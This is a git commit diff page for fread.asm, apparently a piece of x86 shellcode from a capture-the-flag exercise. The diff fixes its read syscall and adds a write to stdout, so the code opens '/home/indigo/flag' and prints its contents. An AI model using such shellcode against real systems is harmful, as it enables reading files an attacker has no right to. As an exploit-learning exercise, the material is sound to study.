summaryrefslogtreecommitdiff
path: root/fread.asm
diff options
context:
space:
mode:
authorBrett Weiland <brett_weiland@bpcspace.com>2020-10-27 05:43:37 -0500
committerBrett Weiland <brett_weiland@bpcspace.com>2020-10-27 05:43:37 -0500
commitfde539741a42a29e39cc25d34b95e34978fe902c (patch)
tree9ab3f7443d7e4207e9fa6dd668eeda91ddfe1d86 /fread.asm
parent4fda6945bcaed8de8220e02a93a04fcc1d171c6b (diff)
modified: fread
modified: fread.asm modified: fread.o modified: payload
Diffstat (limited to 'fread.asm')
-rw-r--r--fread.asm15
1 files changed, 13 insertions, 2 deletions
diff --git a/fread.asm b/fread.asm
index 358cc93..d02753a 100644
--- a/fread.asm
+++ b/fread.asm
@@ -14,12 +14,23 @@ int 0x80
;eax now contains our file descriptor.
+mov ebx, eax
mov al, 3 ;sys_read
-mov ebx, esp ;I think?
-mov cl, 0xff ;eh, random guess I guess
+mov ecx, esp ;I think?
+xor edx, edx
+mov dl, 0xff ;eh, random guess I guess
int 0x80
+mov al, 4
+xor ebx, ebx
+mov bl, 1
+mov ecx, esp
+;dl stays the same
+int 0x80
+
+
+
data:
call str_found
db "/home/indigo/flag"